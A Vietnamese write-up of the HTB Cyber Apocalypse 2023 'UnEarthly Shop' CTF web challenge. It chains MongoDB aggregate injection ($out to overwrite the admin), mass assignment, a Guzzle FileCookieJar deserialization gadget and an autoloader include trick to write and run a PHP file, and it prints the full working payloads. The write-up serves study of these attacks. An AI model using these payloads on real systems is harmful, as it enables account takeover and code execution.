[Write-up] HTBCTF Cyber Apocalypse 2023 - The Cursed Mission: [Web] UnEarthly Shop
Intro
UnEarthly Shop là một trong hai challenge có độ khó Hard nằm trong mảng Web. Trong khi challenge còn lại thì cách thức tấn công cũng như để RCE khá là rõ ràng thì ở challenge này, mọi thứ phức tạp vào thú vị hơn rất nhiều. Chúng ta cùng xem thử như thế nào nhé.
The Challenge
Ban tổ chức có cung cấp source code cho đề bài, bao gồm cả docker để chúng ta có thể debug trên local. Bạn có thể tải về backup từ đây: https://mega.nz/file/G01z3I6K#K6Ya9sob3DWs4p-vCZ5bVIMkohC2jFWUcG_KkLNdLTQ
Sau khi giải nén file web_unearthly_shop.zip
chúng ta được thư mục như sau:
chạy file ./build-docker.sh
sẽ tự động build docker trên local và start web server ở địa chỉ: http://localhost:1337/
Initial Analysis
App sử dụng database là MongoDB và được chia làm hai thành phần:
-
Frontend: là phần dành cho người dùng (user), cho phép:
- Lấy danh sách các sản phẩm (products) thông qua API:
POST /api/products
- Đặt order thông qua API:
POST /api/order
- Thêm sản phẩm vào wishlist
- Lấy danh sách các sản phẩm (products) thông qua API:
-
Backend: là phần dành cho quản trị viên (admin) quản lý, đăng nhập ở http://localhost:1337/admin/ . Theo setup ở docker thì chúng ta sẽ không có tài khoản để đăng nhập.
Mục tiêu cuối cùng là RCE rồi chạy file readflag
(file này được setuid) để đọc flag.
Chúng ta đến với nhiệm vụ đầu tiên: bypass auth đăng nhập vào admin
Step 1: Bypass Authentication
Document của một user trong DB như sau:
{
"_id": 1,
"username": "admin",
"password": "[REDACTED]",
"access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
}
Tiến hành review source code của phần frontend (trong thư mục frontend
) khá nhanh, chỉ có đúng 2 controller Controller.php
và ShopController.php
, và chúng thấy ngay một đoạn code khả nghi, có thể dẫn tới lỗ hổng NoSQL Injection tại ShopController.php
:
public function products($router)
{
$json = file_get_contents('php://input');
$query = json_decode($json, true);
if (!$query)
{
$router->jsonify(['message' => 'Insufficient parameters!'], 400);
}
$products = $this->product->getProducts($query);
$router->jsonify($products);
}
tại đây, $query
là truy vấn của người dùng và được đưa trực tiếp vào hàm getProducts
mà không có bất kỳ kiểm tra nào. Kiểm tra hàm này tại challenge/frontend/models/ProductModel.php
, ta thấy thực hiện truy vấn vào collection products
trong DB:
public function getProducts($query)
{
return $this->database->query('products', $query);
}
và đi tiếp vào challenge/frontend/Database.php
ta xác nhận có lỗ hổng NoSQL Injection:
public function query($collection, $query)
{
$collection = $this->db->$collection;
$cursor = $collection->aggregate($query);
if (!$cursor) {
return false;
}
$rows = [];
foreach ($cursor as $row) {
array_push($rows, $row->jsonSerialize());
}
return $rows;
}
Ở đây có hai điểm cần lưu ý:
- Chúng ta có thể tấn công NoSQL Injection tuy nhiên collection được chỉ định là
products
. Để có thể bypass authentication thì chúng ta lại cần target vào collectionusers
, tức là phải truy vấn, hoặc thêm admin mới, hoặc sửa/xóa tài khoản admin hiện tại. Với tấn công NoSQL Injection thông thường, tác động vào collections khác thường là không khả thi. - Ứng dụng thực hiện truy vấn bằng hàm
aggregate
chứ không phải hàmfind
như thông thường.
Và do sử dụng aggregate
nên trong trường hợp này, chúng ta có thể truy vấn vào collection users
từ collection products
.
Trước hết, chúng ta cần biết endpoint đến hàm products
trong ShopController.php
. Phần này được định nghĩa ở challenge/frontend/index.php
:
$router = new Router();
$router->new("GET", "/", "ShopController@index");
$router->new("POST", "/api/products", "ShopController@products");
$router->new("POST", "/api/order", "ShopController@order");
xem lại truy vấn chúng ta truyền lên:
POST /api/products HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:1337/
Content-Type: application/json
Content-Length: 29
Origin: http://localhost:1337
DNT: 1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
[{"$match":{"instock":true}}]
Đọc document db.collection.aggregate(pipeline, options)
thì hàm aggregate
sẽ có nhiệm vụ thực hiện nhiệm vụ tổng hợp dữ liệu trong collection. Chúng ta có thể tìm kiếm, matching, sau đó thực hiện tính toán số liệu, vào lưu lại kết quả. Các bước này được gọi là các stage, các stage thực hiện tuần tự với nhau tạo thành pipeline.
Ví dụ:
db.orders.aggregate([
{ $match: { status: "A" } },
{ $group: { _id: "$cust_id", total: { $sum: "$amount" } } },
{ $sort: { total: -1 } }
])
sẽ thực hiện các stage:
- Tìm kiếm các order có
status
làA
thông qua stage$match
- Với các kết quả có được, nhóm lại theo
cust_id
và tính tổng các fieldamount
rồi lưu vào fieldtotal
thông qua stage$group
- Sắp xếp thứ tự thông qua stage
$sort
Kết quả của pipeline này như sau:
{ "_id" : "xyz1", "total" : 100 }
{ "_id" : "abc1", "total" : 75 }
Quay lại với việc khai thác lỗ hổng, chúng ta cần các stage sau để có thể thay đổi collection users
:
- Sử dụng stage
$out
cho phép ghi kết quả của pipeline vào chính collection đó hoặc một collection khác. Chúng ta sẽ chỉ định collectionusers
tại đây, mặc định khi ghi thì MongoDB sẽ xóa collection cũ đi và thay bằng kết quả truy vấn. - Sử dụng
$addFields
để có thêm các field tùy ý. Ở bước trên, ta đã có thể chèn document ởproducts
vàousers
, tuy nhiên các document này lại không có các fieldpassword
,username
,access
của một user. Thêm stage này để chúng ta có thể truy vấn thành công.
Túm lại, với payload như sau chúng ta có thể thực hiện cập nhật password của admin thành admin123
(password trong DB được lưu plaintext):
[
{
"$match": {
"_id": 1
}
},
{
"$addFields": {
"password": "admin123",
"username": "admin",
"access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
}
},
{
"$out": "users"
}
]
double-check dữ liệu trong DB:
và bypass thành công:
Step 2: Finding entrypoint for RCE
Tiếp tục review source code phần backend, chúng ta thấy ngay một đoạn code nghi vấn ở challenge/backend/models/UserModel.php
:
<?php
class UserModel extends Model
{
public function __construct()
{
parent::__construct();
$this->username = $_SESSION['username'] ?? '';
$this->email = $_SESSION['email'] ?? '';
$this->access = unserialize($_SESSION['access'] ?? '');
}
đoạn code này thực hiện unserialize
biến $_SESSION['access']
vào biến này được set giá trị ở challenge/backend/controllers/AuthController.php
khi admin đăng nhập vào hệ thống:
public function login($router)
{
$username = $_POST['username'];
$password = $_POST['password'];
if (empty($username) || empty($password)) {
$router->jsonify(['message' => 'Insufficient parameters!', 'status' => 'danger'], 400);
}
$login = $this->user->login($username, $password);
if (empty($login)) {
$router->jsonify(['message' => 'Wrong username or password!', 'status' => 'danger'], 400);
}
$_SESSION['username'] = $login->username;
$_SESSION['access'] = $login->access;
$router->jsonify(['message' => 'Login was successful!', 'status' => 'success']);
}
route tương ứng trong challenge/backend/index.php
:
$router->new('POST', '/admin/api/auth/login', 'AuthController@login');
Nếu chúng ta có thể thay đổi giá trị của access
, thì có thể khác thác lỗi PHP Object Injection và nếu có gadget chain phù hợp, chúng ta có thể RCE. Cấu trúc của access
trước khi serialize là một mảng như sau:
array("Dashboard" => true, "Product" => true, "Order" => true, "User"=> true)
Field access
này chúng ta không thấy được chỉnh sửa ở đâu trong source code, tuy nhiên thông qua lỗ hổng Mass Assigment ở backend/controllers/UserController.php
, tham số $data
chúng ta truyền lên được cập nhật thẳng vào DB ở hàm updateUser
, chúng ta có thể cập nhật giá trị của access
:
public function update($router)
{
$json = file_get_contents('php://input');
$data = json_decode($json, true);
if (!$data['_id'] || !$data['username'] || !$data['password'])
{
$router->jsonify(['message' => 'Insufficient parameters!'], 400);
}
if ($this->user->updateUser($data)) {
$router->jsonify(['message' => 'User updated successfully!']);
}
$router->jsonify(['message' => 'Something went wrong!', 'status' => 'danger'], 500);
}
Step 3: Finding gadget
Chúng ta đi tìm gadget bằng việc tìm các hàm __wakeup()
và __destruct()
nguy hiểm. Đề bài đã có sẵn thư mục vendor cho cả frontend và backend, chúng ta sẽ tìm kiếm ở trong các thư mục này. Sau một hồi thì người em @lengocanh (well done!) đã tìm thấy gadget ở đây challenge/frontend/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
:
/**
* Saves the file when shutting down
*/
public function __destruct()
{
$this->save($this->filename);
}
cụ thể, khi __destruct()
được gọi sẽ thực hiện gọi hàm save
với tham số là $this->filename
. Thuộc tính này được gán giá trị từ người dùng tại hàm __construct
, người dùng cũng control được thuộc tính $this->storeSessionCookies
:
public function __construct($cookieFile, $storeSessionCookies = false)
{
parent::__construct();
$this->filename = $cookieFile;
$this->storeSessionCookies = $storeSessionCookies;
if (file_exists($cookieFile)) {
$this->load($cookieFile);
}
}
Tại hàm save
, sau một số bước kiểm tra thì giá trị của $cookie
(thuộc tính này có thể được set giá trị bằng việc gọi hàm setCookie
) sẽ được ghi vào đường dẫn của $filename
, nghĩa là chúng ta có thể ghi được file với nội dung tùy ý vào thư mục tùy ý (?) dẫn đến upload được shell lên server.
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Gadget này cũng được giải thích chi tiết ở đây: https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf
Thử test nhanh bằng việc thêm đoạn sau vào file challenge/frontend/index.php
trong docker rồi vào http://localhost:1337/
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('/tmp/aaa.php', true);
$obj->setCookie(new SetCookie([
'Name' => 'shell',
'Value' => '1',
'Domain' => '1',
'Path' => '<?php phpinfo() ?>',
'Expires' => '1',
'Discard' => false,
]));
$tmp = serialize($obj);
unserialize($tmp);
chúng ta sẽ thấy có file được tạo ra trong thư mục /tmp/
chứa script PHP của chúng ta.
Step 4: Combine it together
Đến đây thì lại có 2 vấn đề cần giải quyết:
- Gadget của chúng ta nằm ở phía frontend nhưng code thực hiện
unserialize
lại nằm ở phía backend, do đó sẽ không có classGuzzleHttp\Cookie\FileCookieJar
để exploit. Muốn exploit được thì phải bằng cách nào đó load được class này vào phía backend - Chúng ta không thể ghi vào thư mục web root (owner là
root
còn user chạy web làwww
, nên cho dù tạo được file web shell thì cũng chưa access được.
Để giải quyết vấn đề 1, chúng ta cần xem lại cách web app đang dùng để autoload các class. App có sử dụng autoload.php
của composer để load các class này vào ở file index.php
.
require __DIR__ . "/vendor/autoload.php";
Nếu từ phía backend, chúng ta có thể gọi đến /www/frontend/vendor/autoload.php
thì chúng ta sẽ load được class GuzzleHttp\Cookie\FileCookieJar
dùng cho unserialize.
Ngoài ra, ứng dụng còn đăng ký hàm spl_autoload_register
dùng cho việc autoload các controller như sau:
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
mỗi khi có đoạn code new ClassA()
(tương đương với việc gọi đến __construct
của class), thì hàm này sẽ được gọi và truyền vào tham số $name
tương ứng có giá trị ClassA
.
VD: với class AuthController
, sẽ match với xử lý preg_match
đầu tiên và đến cuối, biến $filename
sẽ trở thành controllers/AuthController.php
và được include (require) vào.
Đến đây thì Mr. X (big thanks to him ) đã nảy ra ý tưởng lợi dụng hàm này để include file tùy ý như sau:
Nếu chúng ta truyền vào class tên là www_frontend_vendor_autoload
thì sẽ rơi vào case preg_match
cuối cùng, _
được replace thành /
. Khi đó biến $filename
sẽ trở thành /www/frontend_vendor/autoload.php
và chúng thành công trong việc load các class vendor của frontend vào backend. Đến đây chúng ta sẽ thực hiện tạo một object như đã test ở trên để ghi file vào /tmp/aaa.php
Sau đó, lại tiếp tục truyền tiếp vào class tên là tmp_aaa
sau khi đã write file để unserialize và include script read flag.
Final Exploit
Thêm đoạn sau vào file /www/frontend/index.php
rồi truy cập vào http://localhost:1337/ để generate ra playload ở /tmp/built_payload_poc
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
class _www_frontend_vendor_autoload{}
class tmp_aaa{}
$obj1 = new _www_frontend_vendor_autoload();
$obj2 = new FileCookieJar('/tmp/aaa.php',true);
$obj3 = new tmp_aaa();
$payload = '<?php echo system(\'/readflag\'); ?>';
$obj2->setCookie(new SetCookie([
'Name' => 'foo', 'Value' => 'bar',
'Discard' => false,
'Domain' => $payload,
'Expires' => time()]
));
$a = array("Dashboard" => true, "Product" => true, "Order" => true, "User"=> true, "auto" => $obj1, "payload" => $obj2, "readFlag"=> $obj3);
echo serialize($a);
file_put_contents('/tmp/built_payload_poc', json_encode(serialize($a)));
Payload:
"a:7:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;s:4:\"auto\";O:29:\"_www_frontend_vendor_autoload\":0:{}s:7:\"payload\";O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000filename\";s:12:\"\/tmp\/aaa.php\";s:52:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000storeSessionCookies\";b:1;s:36:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\u0000GuzzleHttp\\Cookie\\SetCookie\u0000data\";a:9:{s:4:\"Name\";s:3:\"foo\";s:5:\"Value\";s:3:\"bar\";s:6:\"Domain\";s:34:\"<?php echo system('\/readflag'); ?>\";s:4:\"Path\";s:1:\"\/\";s:7:\"Max-Age\";N;s:7:\"Expires\";i:1679559894;s:6:\"Secure\";b:0;s:7:\"Discard\";b:0;s:8:\"HttpOnly\";b:0;}}}s:39:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000strictMode\";b:0;}s:8:\"readFlag\";O:7:\"tmp_aaa\":0:{}}"
đưa string này vào phần "access"
(sau khi đã login) và thực hiện update user:
Sau đó login vào admin và vào phần dashboard sẽ có fake flag:
Flag
HTB{l00kup_4r7if4c75_4nd_4u70lo4d_g4dg37s}
Reference
- https://www.mongodb.com/docs/manual/reference/method/db.collection.aggregate/
- https://www.mongodb.com/docs/manual/reference/operator/aggregation/out/#mongodb-pipeline-pipe.-out
- https://www.mongodb.com/docs/v6.0/reference/operator/aggregation/addFields/
- https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf
All rights reserved